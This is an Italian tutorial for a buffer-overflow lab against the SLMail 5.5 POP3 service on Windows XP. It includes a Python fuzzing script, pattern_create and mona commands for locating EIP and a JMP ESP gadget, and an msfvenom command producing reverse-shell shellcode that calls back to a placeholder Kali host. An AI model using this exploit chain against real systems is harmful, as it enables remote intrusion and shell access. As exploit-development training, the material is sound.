
Strumenti necessari:
Immunity Debugger (Windows)
Kali Linux (per generare l’exploit)
Mona.py (plugin per Immunity Debugger)
Metasploit Framework
Procedura dettagliata:
Fase 1: Configurazione dell'ambiente
Setup della macchina Windows vulnerabile (es. Windows XP SP3 con SLMail 5.5 installato).
Avviare Immunity Debugger e allegarlo al processo SLMail (
POP3
).
Fase 2: Fuzzing e identificazione del crash
Usare un Python script per inviare payload crescenti al servizio POP3 (porta 110):
- import socket
- target = "192.168.1.100"
port = 110 - buffer = "A" * 2700 # Payload crescente per causare un crash
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send("USER test\r\n")
s.send("PASS " + buffer + "\r\n")
s.close() Verificare in Immunity Debugger dove si verifica il crash (registri sovrascritti, EIP controllabile).
Fase 3: Controllo dell’EIP
Usare pattern_create.rb (in Kali) per generare una stringa univoca:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
inviare il pattern e usare Mona per trovare l’offset:
!mona findmsp
Identificare l’offset esatto per sovrascrivere EIP.
Fase 4: Bypass delle protezioni (DEP/ASLR)
Trovare un JMP ESP nel modulo non protetto (es.
SLMFC.DLL
):!mona jmp -r esp -m SLMFC.DLL
Usare shellcode generato con msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=<Kali-IP> LPORT=4444 -b "\x00\x0a\x0d" -f python
Costruire il payload finale e inviarlo per ottenere una reverse shell.